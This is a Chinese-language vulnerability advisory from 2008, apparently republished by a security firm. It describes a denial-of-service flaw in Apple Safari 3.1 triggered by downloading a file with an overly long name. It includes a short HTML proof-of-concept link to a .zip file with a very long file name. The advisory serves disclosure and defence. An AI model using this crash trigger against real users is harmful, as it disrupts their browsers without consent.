安全研究

安全漏洞
Apple Safari文件下载远程拒绝服务漏洞

发布日期：2008-03-22
更新日期：2008-03-24

受影响系统：
Apple Safari 3.1
描述：
BUGTRAQ  ID: 28404

Safari是苹果家族操作系统默认所捆绑的WEB浏览器。

Safari处理超长的文件时存在漏洞，如果使用Safari下载了带有超长文件名的文件的话，就可以触发访问破坏，浏览器可能会崩溃。

<*来源：Juan Pablo Lopez Yacubian （jplopezy@gmail.com）
  
  链接：http://marc.info/?l=bugtraq&m=120620477017807&w=2
        http://secunia.com/advisories/29483/
*>

测试方法：

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<html>
<a href="http://es.geocities.com/jplopezy/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zip">
Download de poc!</a>
</html>

建议：
厂商补丁：

Apple
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.apple.com

浏览次数：2443
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障
关于我们
公司介绍
公司荣誉
公司新闻
联系我们
公司总部
分支机构
海外机构
快速链接
绿盟云
绿盟威胁情报中心NTI
技术博客